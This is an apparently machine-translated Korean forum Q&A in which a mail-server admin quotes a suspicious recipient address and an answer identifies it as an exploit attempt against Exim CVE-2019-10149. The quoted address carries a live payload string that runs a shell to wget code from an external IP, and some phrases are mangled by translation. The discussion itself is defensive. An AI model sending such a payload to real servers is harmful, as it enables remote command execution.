제가 직접 메일 서버를 운영하고 있는데, 가끔 루트 계정으로 스팸이나 알 수 없는 내용을 보내는 분들이 계십니다. 최근에 다음 주소로 빈 메일을 받았습니다.
루트+${실행{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f193.150.14.196x22}}@mydomain.tld
해당 문자열의 두 번째 IP 주소는 제가 서버를 임대한 것과 동일한 호스팅 서비스가 소유한 것 같습니다. 그만큼달리다그리고wget제가 보기에는 매우 의심스러워 보였지만 인터넷에서 그러한 공격에 대해서는 아무 것도 발견하지 못했습니다.
서버의 메일 로그에 따르면 해당 메일은 148.72.206.111에서 발송되었습니다. 그러나, 그에서필드가 다음으로 설정되었습니다.[이메일 보호됨].
이게 무슨 뜻인지 아는 사람 있나요?
답변1
이는 Exim4 SMTP 서버(v4.87~v4.91)에서 최근 발견된 버그를 악용하려는 시도입니다. 이 버그는 Exim이 ${variable}
실제로는 예상되지 않은 특정 위치에서 대체 항목을 확장하므로 원격 명령 실행을 허용합니다. (이 구문은 기본 Exim 구성 파일에서 광범위하게 사용됩니다.)
버그는 다음과 같이 알려져 있습니다.CVE-2019-10149(아직 상표명이나 로고가 없습니다). 배포판에서 Exim4를 사용하고 있었다면 이미 패치를 받았을 것입니다. Postfix를 사용하고 있으므로 처음에는 영향을 미치지 않습니다.
(즉, Postfix에서도 the 뒤의 매개변수는 +
예를 들어 Procmail을 호출할 때 명령줄의 일부로 자주 사용됩니다. 아마도 자신의 서버에 대해 몇 가지 테스트를 수행하여 someuser+$(blah)@
또는 같은 것을 어떻게 처리하는지 확인하는 것이 좋습니다 someuser+`blah`@
.)